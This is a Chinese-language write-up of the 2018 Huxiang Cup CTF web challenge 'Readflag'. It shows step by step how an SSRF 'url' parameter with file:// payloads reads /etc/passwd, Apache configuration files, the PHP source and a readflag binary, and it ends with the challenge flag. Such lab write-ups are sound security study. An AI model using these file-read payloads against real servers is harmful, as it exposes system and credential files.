2018 湖湘杯 线上初赛 部分题解
由于比赛冲突,湖湘杯也就没什么时间打,匆匆看了一题SSRF,以作笔记。
WEB
Readflag
1 | 来骗我的flag呀~ |
打开题目提示。
1 | ssrf me with parameter 'url' |
构造payload。
1 | /?url=file:///etc/passwd |
可以看到回显,于是尝试读取Apache的配置文件。
1 | ?url=file:///etc/apache2/apache2.conf |
得到网站目录信息。
1 | <Directory /var/www/> |
尝试直接读取flag,但是没有回显。
1 | ?url=file:///var/www/flag |
再看配置文件可以得到如下信息。
1 | # /etc/apache2/ |
读取其他配置文件
1 | ?url=file:///etc/apache2/ports.conf |
得到如下信息。
1 | # If you just change the port or add more ports here, you will likely also |
跟进读取文件信息。
1 | /?url=file:///etc/apache2/sites-enabled/000-default.conf |
得到了web服务的真正根目录。
1 | DocumentRoot /var/www/html/ssrf/web.php |
读取源代码。
1 | /?url=file:///var/www/html/ssrf/web.php |
1 |
|
有一个关键信息system("/var/www/html/ssrf/readflag");,然后跟进读取文件。
1 | /?url=file:///var/www/html/ssrf/readflag |
然后得到一个二进制文件,使用IDA进行分析,对main函数进行反编译之后得到一个关键信息stream = fopen("flag", "r");。
然后读取flag。
1 | /?url=file:///var/www/html/ssrf/flag |
得到最终的flag。
1 | hxb2018{0ef0c0d15f1a44b47af2a01669fbf124} |